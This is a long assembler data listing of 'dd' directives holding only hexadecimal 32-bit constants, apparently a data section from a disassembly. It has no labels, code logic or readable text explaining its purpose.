		dd 31C40984h, 0A5D1BB4h, 0C5267BDFh, 0C778980Eh, 24427EF2h
		dd 8076610Eh, 0F8526Fh,	4C671B19h, 0B7276849h, 0BF105147h
		dd 77C1F8Eh, 802E389h, 0E00DB921h, 6E92E52Fh, 1B35A7ECh
		dd 5B21E8E7h, 56BF3056h, 0E930D179h, 9A843B76h,	0C43AE2AFh
		dd 0B903F8F4h, 1D906B4Ch, 0E130C141h, 19D0AC03h, 686509B8h
		dd 6FD10282h, 215F9582h, 0E0A4834Bh, 0E947882Fh, 2EDD97CBh
		dd 0A4099227h, 1250803Ah, 5644E3Eh, 77E1BD55h, 3840FFF5h
		dd 0FB346DCDh, 45A39E1Ch, 2509AC5Eh, 0D6205F2Dh, 4A5BB951h
		dd 0BD675A0Fh, 8E5E05B6h, 0E5B91CFFh, 0E9C2B803h, 0BFE2A0FDh
		dd 3E21E504h, 8CFE294Bh, 5B4F1F79h, 0EC40FBF7h,	42610937h
		dd 71434617h, 0AED8C0A5h, 19027360h, 7E66CF81h,	8970F589h
		dd 1806AA98h, 318FD3F1h, 9476A062h, 178D1F7Dh, 434F7h
		dd 6846F390h, 2E9813A3h, 0F0C45A4Ch, 272867BAh,	56DC19B2h
		dd 0D3362B43h, 0D290B720h, 2AFE7953h, 1D96DE9h,	6C0BA52h
		dd 60312F6Bh, 22B49B4Bh, 591C5B18h, 0C26D2FC1h,	1EBCCF70h
		dd 566471Ch, 4ECD9802h,	1482DFDAh, 640C583h, 6282636Ch
		dd 276FC1C8h, 4DD4FA8h,	0F9D5194Eh, 1E94AA09h, 0E044B8EAh
		dd 16FE58BBh, 1231EF77h, 4B1DF712h, 55E5D8Ah, 0E94B261Fh
		dd 0DF0D2246h, 7510FF68h, 0B1D3503Ch, 2F600E41h, 0AF6F31E3h
		dd 282B3416h, 685781EEh
		dd 0E3073266h, 1C1DDE05h, 15CCBCB5h, 0FCF8E750h, 0EB260FBh
		dd 82B31DB1h, 59CB3017h, 50DE1A03h, 0D8F6A0B0h,	24C007FEh
		dd 20662CE1h, 21EA8008h, 5309C2E6h, 77D78AE9h, 642F2E71h
		dd 48EF204Ah, 2DAB5A4Bh, 682E84FBh, 0FCE903FCh,	4601C702h
		dd 3FE1223Eh, 887332CBh, 91B42D3h, 4BF21B57h, 0E2FFA254h
		dd 8AFD953h, 5725131Bh,	0F95BD3A5h, 0A38AD3C0h,	429AE917h
		dd 78685E9Fh, 5085C5F9h, 17EA20B8h, 780BAAFDh, 0AB5E84D0h
		dd 0A270A8AEh, 0A7C877B6h, 0BF3AFCEFh, 402589Bh, 4077674h
		dd 0F5845185h, 575F0809h, 7DC913F1h, 828CAB4Fh,	13C38308h
		dd 0AC642A83h, 20AA5F00h, 7831E931h, 0FB013B13h, 4CF8A6AAh
		dd 52FE12C4h, 22A19BB8h, 7E67FAAh, 37C3A860h, 200B4570h
		dd 23586BE9h, 0C25DEF26h, 0BDF5C81Dh, 0A15E120Ch, 9E5FBA12h
		dd 770F878Bh, 7E3E7E18h, 16685580h, 0FE17056Fh,	74F2EA97h
		dd 67C657B8h, 20C5759h,	974639BAh, 0B9C87D5Bh, 5612D7E2h
		dd 8A0A63E1h, 5F58C742h, 0D55C9580h, 76469142h,	198E8253h
		dd 0BEF80F61h, 6D0DEB80h, 0EE47817h, 90625FA9h,	0E9902BF9h
		dd 0BE2448A0h, 85026CACh, 6022C819h, 1792E741h,	1C1FC54Dh
		dd 61D144C3h, 8084BB89h, 0FA5DB0FEh, 0B0528484h, 0A8E92797h
		dd 0A4410606h, 33F32F4Bh, 0D96AD504h, 0FB82C469h, 0E86B7DA1h
		dd 4D6F8592h, 805AAEE9h, 3F212D0Ah, 174A197Eh, 0CBAD610Eh
		dd 9ABE2BB5h, 1A5AF739h, 96075C20h, 0DD29C275h,	0A7C45C75h
		dd 0E8DA54F6h, 9DDD271Ah, 3340EE9Ch, 23E26BE9h,	0D7495D5Ah
		dd 18A85E63h, 0AE3A9584h, 0FC55E08Ch, 767B9D5Dh, 805A0249h
		dd 0F36D957h, 0AA495BB6h, 1D68FC60h, 8637584Fh,	100B7810h
		dd 0CACA5229h, 0A5052DD4h, 8006DF54h, 0C57F0183h, 0CAC0F94Eh
		dd 3A27652Dh, 0EBCB24E5h, 0D0015F06h, 706962B8h, 0DE1D7F7h
		dd 0EB9F45FBh, 42C8664Bh, 327BF7DFh, 5FF6AB25h,	0F7FD4A02h
		dd 17DE1A0Ch, 0BF9BF6AEh, 92856404h, 0D62D50A9h, 5A123356h
		dd 0E45E2EEh, 131ECCE9h, 0E88689BEh, 6DC01548h,	9F547FE5h
		dd 22FD9067h, 0ED094A58h, 2B9CB12h, 72116E45h, 1A065C7Ch
		dd 9F67981Fh, 29B5BE7Ch, 5FB0EA1Dh, 4F307A25h, 1071F973h
		dd 0E90921F2h, 1A77F14Eh, 9D805061h, 0FEA792E7h, 94605A31h
		dd 2DC03F27h, 1CC496F2h, 375B8EEh, 655C28C2h, 0E9F2D129h
		dd 5EF60889h, 8B814759h, 5251C6BEh, 4EA47C3Eh, 0F81D0892h
		dd 0B7530019h, 3BF78051h, 8E98FA30h, 0BF1A80F3h, 5522079Dh
		dd 0BCE89531h, 6082B2DEh, 0A05AD72Fh, 2602A1A3h, 94F22AB3h
		dd 495808C5h, 97AF2ADEh, 5757752h, 63EF61BFh, 0AD4AC6Ah
		dd 7B2B7AE9h, 0E941D00Eh, 0E2AB6048h, 75C3B506h, 316591B8h
		dd 0A17CD16Fh, 32F04042h, 4B22AC3Fh, 1DECAFAh, 62E8EE81h
		dd 0C8215F2h, 7891015Eh, 3FDCC580h, 0DEF2605Fh,	68081CD0h
		dd 728141Ch, 425D2082h,	0DDE29356h, 0F73B0BFDh,	848933A5h
		dd 0AF37E5F7h, 36CE10D7h, 1E2D9A34h, 5268F680h,	2F12AC63h
		dd 6ECB05Eh, 825D8151h,	3612EF42h, 6E027D2Fh, 0F20E0965h
		dd 0A57BC9E1h, 55F2F76Ah, 502F6FC5h, 836819E6h,	21E58771h
		dd 71FA3A01h, 9BA52F1h,	0F3664735h, 9964924Eh, 0EE5F8EDAh
		dd 0EB2217FBh, 67322B16h, 8EE65D51h, 774B6A98h,	7541A189h
		dd 56350C6Eh, 8B6A41C5h, 1647421Ah, 40B85351h, 6A0325BDh
		dd 0D9B65593h, 73E4F028h, 0CE37C108h, 8B2C747Fh, 5F14BE28h
		dd 0ED685B18h, 0B1947954h, 0F6517D40h, 30724B60h, 0C6F1FF5h
		dd 3AB92A02h, 56E5A8C7h, 68490463h, 998CBE11h, 0ADA44FE9h
		dd 55E26944h, 0E989D3FBh, 0D3C27A8Eh, 6ADDBA89h, 1513ED3Bh
		dd 0D4D55954h, 58ED4F8Ah, 4B75BD80h, 0E91B06D6h, 0B0F92860h
		dd 5A0BDAADh, 4ADDBD70h, 0E64E3EACh, 0A1332A8Ch, 1BA5B52Fh
		dd 2F97C939h, 0BB1034h,	8179D525h, 0FB7735CFh, 28031458h
		dd 0B704D04Fh, 9C9C093h, 5EE9ACB0h, 9C32BF29h, 0A796FD50h
		dd 13907120h, 0E803AF68h, 69E9A16Ch, 282D1A78h,	601E1DDCh
		dd 5FF63C89h, 18B27CF3h, 874E00D5h, 0D34CF7F3h,	520825E4h
		dd 0F8C35A70h, 1FD136Bh, 7B4ACAFAh, 0F5ED385Bh,	138EEA84h
		dd 0B8101203h, 9341D148h, 0B250BC7Ah, 0B9BEE883h, 50E9B0C5h
		dd 13B2C14Ch, 0EB359B6Fh, 187615E4h, 0C6B6D5Fh,	2D2702BAh
		dd 191DE18h, 89E1F808h,	1C07CCBh, 3D914AC9h, 4CA0D929h
		dd 2D31A108h, 6BC68801h, 0FFD286A8h, 0E909ABCAh, 0B8F5B725h
		dd 950549D1h, 82F6A998h, 1EB35380h, 57C3FEA1h, 1747EFDBh
		dd 0EB336ACBh, 13F3B195h, 0C177C2h, 6EEC25EEh, 8689DFF3h
		dd 0C046A924h, 6F1CFDB4h, 8AC1B95Ah, 13ADDF7h, 0D3504A38h
		dd 28E0DB4Dh, 7C4AFE96h, 2606CA85h, 4C63B1F2h, 5E7934E6h
		dd 287EB384h, 5A4A692Ch, 0B895B487h, 0F7D2D4F1h, 0E5BC12F1h
		dd 0A6D74952h, 0C3407722h, 0D1E4ECE6h, 5872000Bh, 8DF9BE28h
		dd 0DD95D7A7h, 25801D32h, 0B4A7148h, 3267E913h,	92DC37EBh
		dd 3169C8DDh, 0B017CBCEh, 9C25322Eh, 6AD69801h,	0C807F24h
		dd 5F3B7B98h, 6EF7F3E9h, 20F79F41h, 97304CA8h, 4D8F8A1Ah
		dd 0FC4AD694h, 0A67B05CDh, 81810C65h, 7EA28CDh,	4B12E1F3h
		dd 24F16B6Fh, 4C0FD632h, 5F64CA3Ah, 0E7EDFA31h,	0ABC50184h
		dd 0DE800E67h, 9D57315Eh, 0C4C5356h, 0A5E80FB7h, 0A172E961h
		dd 0A737BF3h, 2742F156h, 0AB153739h, 25786166h,	5DD125DFh
		dd 0FF7C42EBh, 0E90FD76Dh, 94575644h, 0F84761EEh, 4768002Ah
		dd 0F46D9039h, 77B34F6Fh, 0A0CFB5DFh, 0C272885Bh, 0CAEAA698h
		dd 3058590Bh, 25B19CD0h, 225C4B54h, 8213E26Bh, 0E059F217h
		dd 2F12B9E1h, 0DFDCC0A6h, 59525CA7h, 1058D3DEh,	0C13C2EC4h
		dd 0F185EA8Bh, 0B8508782h, 6CE609Ah, 2900710Dh,	410526EAh
		dd 7456DD78h, 0F0F2EC2Dh, 5ED048F7h, 0E2425E2Dh, 5FFAD4F4h
		dd 898946Bh, 422C8F03h,	49134438h, 0D3B7C3FCh, 9B1E07AEh
		dd 891247FDh, 4804D2F4h, 1E4EA2CDh, 0E41E27A2h,	374FE919h
		dd 2E713124h, 4C2DF67Fh, 0D917D55h, 9149509Eh, 4F33F479h
		dd 0E7FD390Bh, 0DD501695h, 0A54D7FF8h, 0B96F7769h, 33F603DCh
		dd 51A5F32h, 0CF9B050Ch, 0E982D185h, 0E34E7ED0h, 0E4F104Ah
		dd 6B1468E9h, 84542C2Fh, 25692946h, 73C6926Dh, 6D545325h
		dd 4C5F2540h, 0E90D8886h, 0F009BF05h, 6EBEC05Fh, 0FA427B22h
		dd 77E9CAAh, 95BD368h, 294247FFh, 3A906838h, 35B41D02h
		dd 0AC981E9h, 8D6E905Dh, 0FBE750h, 5147DD21h, 56E346B9h
		dd 0CD29C809h, 609D5C59h, 161AE955h, 33B836C0h,	0F732906h
		dd 0E128D535h, 0F250CD9Fh, 0D3B17E1Eh, 6AC1B300h, 0AE7E5A7Ch
		dd 6279A23Ch, 5BDAF7C8h, 755AC97Eh, 0BF564DDCh,	0BD095B79h
		dd 119CDD40h, 0F1028F2Dh, 5DE9C181h, 90F73A4Dh,	0AC225C2Bh
		dd 23B2BC4h, 0DD9AE952h, 8590ACCEh, 30C3549Dh, 0CE18670Ch
		dd 7EE94616h, 0AEBDB040h, 0F403FD4Eh, 202F5FCBh, 76BE5661h
		dd 5753210Fh, 4C11E54Eh, 6D684043h, 0AFB5270Ah,	0EFAEC7EAh
		dd 2844B092h, 4A3B138h,	0CB885BF9h, 84D3E1E8h, 948082B7h
		dd 1C12FC09h, 0FB9E1448h, 5EEFFC5Eh, 0E90C2EFDh, 0BE6F2418h
		dd 8099FE71h, 0CE8C105h, 0D6F982FBh, 0B5D994Ah,	93B17564h
		dd 0DF37A5ACh, 58BD1594h, 0C4A04B18h, 9532AACEh, 0D6820BD5h
		dd 66FF0632h, 9BC92480h, 43D48087h, 895E0F37h, 82B0F073h
		dd 8D624B79h, 9382728h
		dd 5C04F0D7h, 0C8065D85h, 0DA92B450h, 0C13159C6h, 8376B5B5h
		dd 9F023A50h, 68B5F8F3h, 42D2A2B2h, 0E34E111h, 62528EC0h
		dd 67D5ABC4h, 0AFC104BCh, 0C9E58851h, 283A60EAh, 30043EB0h
		dd 43D3E9DAh, 191A74B4h, 0AE03295Dh, 46A8043Bh,	5EC2F386h
		dd 0D7C5FE2Eh, 6FE00E19h, 0EC1CE43Eh, 7194DDE0h, 0E1F5F053h
		dd 24E8792Ch, 1219665Fh, 0C3B7FEE5h, 0C38E2C1Eh, 11D2E9E8h
		dd 985AC92Dh, 14C4BAADh, 4A4A1D52h, 0F90B1C2Fh,	43D8D102h
		dd 0A109F9F2h, 763D1E62h, 96C59DDDh, 8BA13CDh, 50073622h
		dd 0BC8278B0h, 8F5F1D0h, 0E224AFC7h, 0E686E424h, 4C6A582Ch
		dd 84007F4Eh, 0E9DF63E0h, 5B9D2DF5h, 0CB22091Fh, 9426F4D1h
		dd 0B9023B10h, 485B5DD7h, 6841AFFEh, 616F3F7Bh,	8C464Eh
		dd 4C03E8C0h, 0C61C122Ch, 0C9FE1F58h, 0C555949Bh, 0E65709E4h
		dd 0E95059D9h, 2DA5B436h, 55E9F37Ch, 7497F450h,	0C5407238h
		dd 0D782B044h, 0A0517F87h, 9C71ECBDh, 4CB90B01h, 3177F15Fh
		dd 0EA43C27Bh, 977C70F7h, 18EA6163h, 5D4BFAF4h,	16D88E80h
		dd 6D8010BDh, 94E7169Eh, 0B065FE29h, 6E1487ABh,	3007016Dh
		dd 3C12A862h, 13AB25A6h, 0B8C4ABFAh, 2B5239ABh,	2085A00h
		dd 61F74240h, 2DE904DDh, 0D1F4528Bh, 0F942FB89h, 0EE74595Fh
		dd 0E1C68409h, 98B5CF90h, 8081BB40h, 6817665Ah,	0F5FC04F2h
		dd 9824A590h, 3E2C1D79h, 0ABE95B0Bh, 0D587FB40h, 4A92D4EEh
		dd 0E1B15100h, 0F468C9FEh, 94C6976Eh, 0FA0EDE20h, 0E95E54E5h
		dd 0FA284BD6h, 8E441D2Dh, 0B06A56BFh, 0FC64160Dh, 0C7C357E6h
		dd 1F4D25ACh, 20C2507Ch, 0DA205D03h, 0E8E2CAD8h, 8CE9015Fh
		dd 1471E983h, 347CEF48h, 85003312h, 20477269h, 6355158h
		dd 1AC283Eh, 0F858C52Fh, 45FD5E68h, 0AD8FCDA6h,	0F1CFDE5Ch
		dd 54127FBEh, 688229B2h, 60A009E6h, 0F87FB1BFh,	93A3444Fh
		dd 51A2D110h, 26723D3Bh, 9643F05Ah, 581F7EBFh, 9000AFCh
		dd 18BB6857h, 5FAE3A04h, 6474E915h, 57BD27AEh, 77E82187h
		dd 0BF05905Dh, 1CC75547h, 83FB4E33h, 0F66DC37Ah, 84FF5B16h
		dd 8277A8FAh, 0CA37E902h, 92D1430Fh, 0E35660D4h, 2F59B058h
		dd 78FC20A6h, 0B387EA46h, 49680454h, 0C065EA51h, 0B50046FEh
		dd 0D100AC76h, 31F381EBh, 9515433Ah, 4DDF76Ah, 880760B1h
		dd 0C5D927F3h, 0BEF5BB5Ah, 9248D706h, 0CEB70E13h, 0F8096CB0h
		dd 6812F796h, 39BB3410h, 0E3457FC2h, 0D8AA42A1h, 0E917508Fh
		dd 1127E7A3h, 0A41D9390h, 6084F8EEh, 95B71871h,	40F2F930h
		dd 0A7CA664Fh, 0EC4C11h, 0B59B98EAh, 0C6545299h, 1D63D6CAh
		dd 11E6C707h, 0CF603585h, 4F251449h, 7F7E806Eh,	0D695FF6Fh
		dd 0AF074988h, 5616F837h, 538492EDh, 37470EFBh,	1199D101h
		dd 0EA2E72A3h, 0D060140h, 380845C5h, 5A892D44h,	17565C80h
		dd 24AB2917h, 0F1AE16CDh, 70F0F993h, 10831251h,	45FF57Eh
		dd 3F7064BFh, 0A1C904EFh, 0EB0E13B8h, 59EE40FDh, 76D6F65Bh
		dd 53687BD0h, 0B714B91Ch, 0D5F822Eh, 30C95F81h,	1D831985h
		dd 0CBBA52F2h, 0E2D71103h, 2F7C9C19h, 5C462D95h, 5ED1B81Dh
		dd 47AE501Dh, 65533EB8h, 13AB8CD4h, 0F012F8EBh,	95D2B1E9h
		dd 0FEF0B225h, 4EF612CCh, 5AAFCE6Ah, 705231EBh,	2629A46Dh
		dd 0CBC0DE13h, 9C673E68h, 4F436EFFh, 98416057h,	0BA3481FEh
		dd 6DF5940h, 1EA7288h, 6D687F27h, 3C165CEBh, 6A0B2D11h
		dd 4907F64Fh, 1836A102h, 0CCCC9855h, 26DF82C4h,	2D06A1B5h
		dd 91F15115h, 27D95E62h, 4A096FF2h, 0B55BD05Fh,	68419051h
		dd 616C45BFh, 176F56C4h, 0E24D40FFh, 7EAC07Eh, 0E75EE9EDh
		dd 0D01EC0B5h, 69BACAE9h, 50D52925h, 0E6F5AA6h,	44364D59h
		dd 16F2A587h, 0F16621BBh, 0B0D4C3A8h, 7B0CFCEAh, 222977F0h
		dd 0E3A39F41h, 3BC208EFh, 0C3C12DCAh, 536FAA6Dh, 78313841h
		dd 742E80F9h, 69B7EF25h, 0DE02E909h, 0BC327B7Dh, 0FEB746A0h
		dd 9FFEA06Bh, 6588D3D9h, 5A5D0920h, 6DA024CCh, 813C633Fh
		dd 692DC038h, 980113Bh,	4D1B48F7h, 0E54158BFh, 8AA0844h
		dd 369028Bh, 5F09EDC6h,	484EE769h, 3CBB5A47h, 78943077h
		dd 0AF4064Bh, 0FDE597E6h, 6F687525h, 0ABA0F83Eh, 801CDCF6h
		dd 92CC2ECh, 275B6804h,	0AA822491h, 4EC3B36Fh, 0AFD61DA9h
		dd 0E20016C4h, 6E945B28h, 68446229h, 346B0CE9h,	340D84F0h
		dd 0D0F72B18h, 6B22A0D8h, 4F041080h, 129DA98Bh,	0B600B8EBh
		dd 0F6BF5815h, 0BC040432h, 0A38425E9h, 25AA9241h, 90CE8BAh
		dd 374FD49h, 2DE57C15h,	1976C2BDh, 5FC998BDh, 1005CB17h
		dd 6156C775h, 59E668E9h, 51FF866h, 0AF15D740h, 0EFD19F05h
		dd 0D7196AC2h, 0FA2D68E5h, 73CB00D4h, 6EBF6CB9h, 984ECD7Dh
		dd 52B82401h, 20308722h, 35184BF1h, 0D3B0EA3Ch,	20192DE9h
		dd 48297169h, 0F74168D6h, 33601800h, 463C5803h,	16203E01h
		dd 60E2C131h, 0D15F8AF5h, 0B7ED1D9Dh, 0BEFF017Fh, 3FD57ABDh
		dd 1362FAA0h, 6CA221h, 0ADEBB8FBh, 5797AC2Ah, 4EE93A21h
		dd 0CF303F6Eh, 1250552h, 23F58119h, 2F5C9EB3h, 4BD308E0h
		dd 5321BFA5h, 0A27E0A37h, 0B03E9FE1h, 39F1A1DBh, 202B3B35h
		dd 7909C304h, 0B969C1B4h, 6244E811h, 0BC4D70B7h, 505A433h
		dd 0EE02C013h, 4BA86EE0h, 82592706h, 8174D33Ch,	0D7015AC1h
		dd 0E9C2617Bh, 6B56658Dh, 81FC0219h, 0F1C91F0h,	0D86F7E0Dh
		dd 2BC72560h, 0F77814EEh, 0C33504C7h, 0DC99C897h, 0D0F92F4Eh
		dd 0B809DAA4h, 0BDE246F3h, 5D8B9D51h, 0EBA5653h, 694277E4h
		dd 0D5D4E1E9h, 4281DB25h, 220C2EF7h, 154F16EEh,	1DF18569h
		dd 0B60D4535h, 3F50F48h, 13B74965h, 32C0FFA5h, 4EE9EB29h
		dd 0C2B292C1h, 10E64B55h, 0FF2FCAEh, 65535966h,	3FFD1B1h
		dd 0D78885C3h, 0CF825AE3h, 100EB482h, 9F28BC77h, 124A485Ah
		dd 0EA346486h, 83C99BFEh, 0AB543B35h, 4F65ACF4h, 3081CCB9h
		dd 0F84DA832h, 0E4A87E6Ah, 23914F78h, 9DF4A1A0h, 315CE6ECh
		dd 77A825EAh, 47DFA81Ah, 72DB2F14h, 7623F789h, 0BEE962DCh
		dd 402B6AFFh, 581BC30Dh, 1D1332D9h, 9BB98CEAh, 0E5FEFA2Fh
		dd 0D12140CCh, 34E53AE9h, 0BEB8C6C4h, 5E2509B7h, 0EDD5257Dh
		dd 18B62A9Bh, 865916E2h, 0A09F3DBBh, 3EECF83h, 531B037h
		dd 432E42E7h, 0A262C02Ah, 2063F13h, 0C15FFE21h,	3300B528h
		dd 234018E6h, 4E98094Dh, 0EDB93405h, 0E91D05A6h, 59EB21Fh
		dd 48ACEB5Fh, 21254221h, 0A9EEDF5h, 1D8DF516h, 56EB9654h
		dd 0CDDB02A8h, 2D43578Eh, 7DCFBAB8h, 63C76AF7h,	0B1339E4h
		dd 0A755056Fh, 0CBDE5D81h, 5E287255h, 801AC4A9h, 0EC658F0Ch
		dd 20E1585Ch, 72681289h, 64974557h, 9335A43Ch, 0B32E2124h
		dd 0BD1B9408h, 30FFB784h, 9EAE24Fh, 5DA944E9h, 735FC53Ah
		dd 8FE902E3h, 9AF5FEF9h, 0DC098BB9h, 0D16858EDh, 0F30354Ah
		dd 0CE066A3h, 53D0E946h, 4B18BBB7h, 0C8CC1A29h,	567582AEh
		dd 6F777927h, 515A9D00h, 3F255958h, 4B3F214Ah, 1CA09E18h
		dd 61ED5BBh, 768909D4h,	0CBC5E497h, 0A101A10h, 253D4DBCh
		dd 0AC149B55h, 7BBE0617h, 0D90AF051h, 5D9889BDh, 0ED144B95h
		dd 27E9381Ch, 85C3A9F7h, 31D54645h, 626C73F4h, 0A56810F4h
		dd 82201AFFh, 206F0A8Bh, 940D40F1h, 0B6F82576h,	0B03FA434h
		dd 0E8D604BAh, 0F3CEBF5Dh, 33F5C03h, 0ACB50168h, 1D8DB06Dh
		dd 0A80E5F7Bh, 77FA48C8h, 3E605A0Bh, 0DB687509h, 53C01D8Fh
		dd 0C95ACFE6h, 0FF9A9073h
		dd 30D4CEE4h, 0C60C0F06h, 3425EA71h, 57FC621Dh,	0AE2C10Bh
		dd 0E62C6375h, 62D07ACh, 820C5627h, 78A05D8h, 0E274A7ABh
		dd 48E49F5Eh, 0D17A990Ch, 1D258E69h, 81017742h,	0BB5143F6h
		dd 23B8826Ch, 67CBF12h,	0D391E05h, 0D710A54Bh, 0E468C0A1h
		dd 0F157C213h, 0E956C4FCh, 0DC0B93ACh, 0A74C795Ch, 0C277A4F7h
		dd 6A0E6382h, 5951758Dh, 0C1C380C1h, 5150690h, 0F995E9A1h
		dd 0C27DA2FAh, 0C1B05066h, 3530C33Bh, 0ACEB1980h, 20CE1652h
		dd 68809D5Eh, 986EE101h, 364A286Dh, 0ABF5C3A9h,	0FE419521h
		dd 35D44B8Bh, 14F70B18h, 4159D4BEh, 0A42A4E84h,	76C6AEF7h
		dd 4EF99F24h, 172B9F51h, 0D24CBD3Eh, 0DC68DE4h,	6D514563h
		dd 6234C00Ch, 0EDD44F4Eh, 90C081Ah, 0C2478914h,	89F3D7ACh
		dd 31E4796Bh, 2A88B110h, 5F5EADF0h, 201DCDDAh, 774044BDh
		dd 945B84Fh, 0EAF4F2F6h, 25C35175h, 0B2FF4C32h,	0C8A859B0h
		dd 4457A517h, 45AA8282h, 718A728h, 0BE802267h, 485112F1h
		dd 0E26F0337h, 88962808h, 163B750Fh, 74E58038h,	7331C112h
		dd 9703EE45h, 6E76C380h, 5D97FB96h, 9D703A20h, 296122B2h
		dd 0F456E98Eh, 0E3B1F28Bh, 0FA7E7F84h, 0E60B9AA0h, 0E9F61FC2h
		dd 77B46A59h, 0A3962D5Bh, 3B89AD59h, 0B3A51802h, 41A4B0EAh
		dd 7B5B3099h, 7A4E122Eh, 6897AB0Bh, 3DD15315h, 4AFEFA80h
		dd 0FB39EAB7h, 0B5CDC07Eh, 512849C1h, 0B027D253h, 4025A19h
		dd 63102B23h, 4DB11601h, 55A23A82h, 0D2FF0964h,	8C2BA08Ch
		dd 0E58012F0h, 9660B329h, 0BD2B3604h, 0FC4F3DF2h, 313E88EBh
		dd 83EE7122h, 1333F1C7h, 0CD3191F0h, 9E189770h,	4C7DEBCAh
		dd 9999BBCh, 0F57005E9h, 3CF488A6h, 0E6709F4Eh,	264418BFh
		dd 8F4E5Dh, 20242807h, 0AB5A90E9h, 0D482BFF8h, 53D6FEF0h
		dd 0F55B8342h, 58F6424Eh, 7C03740h, 0F48005E4h,	74EC3036h
		dd 0F637DC86h, 0CCC008D3h, 7EC4FE6Ch, 7520C2D0h, 3160E788h
		dd 0B481B1F8h, 9AE528F8h, 71F53751h, 818F9B06h,	7EBA0010h
		dd 8162D03Bh, 5D1D0BE2h, 34046670h, 0D122909Ah,	0D69F295Ah
		dd 774A4071h, 0E1F30E83h, 30745E9h, 1367F15Fh, 2BFC704Bh
		dd 5D98717h, 0C8605102h, 7F602C98h, 37FCBF0Dh, 817A0135h
		dd 125503F7h, 8D9E3044h, 0C7F5D883h, 7BFB3D1Fh,	6D6222A5h
		dd 0B8E09055h, 0AF3BE105h, 4EE9C16Ch, 0AC96C373h, 0C482FED4h
		dd 0C80455A5h, 6ACBE5Fh, 29AA2FE9h, 104D783Fh, 607BEE92h
		dd 0E5CDB6EDh, 264CF364h, 77660552h, 508343E1h,	0FD97E24h
		dd 6967028Ah, 17CFCE66h, 4492C31Ch, 60F94A16h, 0CA70841h
		dd 75AF0B54h, 39DAC3B0h, 0DCD9D5A9h, 0E3996748h, 5FAD5A93h
		dd 0FEB9EC84h, 0F95068B2h, 57CA88B5h, 2878601Dh, 7D95C281h
		dd 7FEB5Eh, 91BA522Ch, 0D0A3A44Ch, 6D0E01FAh, 0EC3AB6FBh
		dd 0D70C6976h, 324E8263h, 788E19BBh, 0C5532C03h, 0E7AA2B2Eh
		dd 91F4ADFh, 14267EC9h,	216627B0h, 35EA0450h, 3AF3F87Ch
		dd 0B0DCA587h, 0A19618Ah, 0F83F68C7h, 10C8D701h, 1D5A18EFh
		dd 34B04B67h, 91E9FD16h, 4C5497C2h, 98890FCh, 3C5E11B1h
		dd 0ACAE6108h, 43F70152h, 6A467B19h, 334A5680h,	5C30F5ECh
		dd 5D3B044Bh, 0EAF20942h, 0B90207F9h, 144C0A36h, 5ED964D7h
		dd 2AA2A15Ah, 3BEE9181h, 556A004h, 9E120124h, 4D08E00Fh
		dd 0B13FF2F7h, 0E9923469h, 0D9DD9C2Fh, 185F4992h, 954143A4h
		dd 1577739Ah, 307DA5B7h, 5F436846h, 24EAA562h, 580FB85Ah
		dd 4F1E390Bh, 4A447725h, 2CF82D51h, 42FA8F5h, 3B261668h
		dd 5F9EFE82h, 0D1C81B93h, 0F69D1064h, 0C7E54287h, 0EAEB1B5Fh
		dd 52DD0B5h, 1A6F6EB9h,	6902FA4Fh, 5F4B9B68h, 0D4F17318h
		dd 6E5AF782h, 14BEAFF4h, 0BB0B5917h, 0CBC2C43Fh, 2D9231F3h
		dd 0BA20CFC6h, 6B91954Bh, 2E3435F2h, 64A29927h,	2538C4E7h
		dd 6799B7E3h, 0E2E23BD1h, 5147D197h, 0CFE0070Fh, 5FE46E10h
		dd 53AC2Dh, 501BCC09h, 2F6736B8h, 9584379Bh, 0FD638047h
		dd 0E648F21Ch, 2FA0492Fh, 0CB16F65Fh, 537B007Dh, 737B5068h
		dd 63FA9504h, 5C4D99Dh,	8F6A4h,	3DE9DF9Ah, 0C8B5FEF2h
		dd 73CE80CBh, 86EE3B47h, 0E941C607h, 40D8EAA1h,	61FB286Ch
		dd 83628BFh, 92BA0C35h,	14F75F9Fh, 30A384E5h, 0ED4D4C6Bh
		dd 0AB2FF534h, 2EDCFC21h, 44C60122h, 0AF7C0267h, 5B86E90Ch
		dd 51A78940h, 0B56F7633h, 1A0BF351h, 27BA672Dh,	25E4ED57h
		dd 583E7F7h, 4516CA68h,	0EC1C18EEh, 3746D36Ah, 0C16CA7h
		dd 0BE2B15C7h, 4EFC10Fh, 1D1C5FB0h, 1EB0D722h, 25C32110h
		dd 0A2752924h, 2BB4B9h,	4D98685Ch, 83D6BC5h, 56FB32EAh
		dd 0A1272CD2h, 87595977h, 0A10E3252h, 0A76749E9h, 865F14Bh
		dd 5067311Fh, 0A8330592h, 0C0008409h, 0BA432055h, 642E1259h
		dd 0EB24EB68h, 0BB7313FBh, 27869E21h, 0F99AC104h, 0C06866h
		dd 80AFB75Ch, 90F6C6EFh, 0D0BD2D21h, 94C12993h,	42109645h
		dd 3B27D01h, 16F0AB73h,	6066B54Ch, 62B41D24h, 9D1060A6h
		dd 2F0D5B24h, 0AD30227Fh, 68315F13h, 0B2CD6FBEh, 413E212Eh
		dd 813503A1h, 0AD411209h, 57003ACBh, 4E13BE56h,	7EE4D74h
		dd 243D7BA9h, 90C4D472h, 5FD2DAE6h, 0A4E91939h,	5D1D8AECh
		dd 0B78B018Dh, 0E1B743E6h, 60F0D7F7h, 0BC2FF3F2h, 0BCBEA44Eh
		dd 5002C632h, 0C15FEE85h, 8D583B68h, 0A50C9735h, 9544D09h
		dd 55D05777h, 566B9B80h, 58B8154Eh, 83CEDF19h, 0EDE240E5h
		dd 0C4B83067h, 7E18BEFCh, 8D0C6378h, 3C25203Fh,	0A57CF017h
		dd 60159904h, 5B8BE7AFh, 392FCEB3h, 345F818Bh, 0B6E095DBh
		dd 7D12EF68h, 30FB6B67h, 56748FA6h, 0A0F23A4Fh,	0A60A8262h
		dd 0FF8B83F6h, 0E558538Dh, 67E51C09h, 24C99ED7h, 79F544E2h
		dd 0FCA82A01h, 0EA4E1D84h, 1493CF6h, 7D0BCACBh,	0C6292481h
		dd 4F3E3258h, 0D79E0AF8h, 126A90D0h, 0CF25BCC4h, 32A75731h
		dd 10F9B94Ch, 89522388h, 0C55D1956h, 5D50A706h,	4509FB2Dh
		dd 90A2304Bh, 4D2F5D74h, 0B5B46C29h, 8CC2C062h,	6F1E7960h
		dd 5BB44C95h, 0C2CB94E4h, 205F1E2Eh, 0B224EE85h, 5EF18020h
		dd 8497FAD4h, 0BD004708h, 15E3681Ch, 7890297Bh,	6D2C1A2Ah
		dd 800BB93Eh, 57411682h, 0B6DDE954h, 0A5B302A1h, 45F5D808h
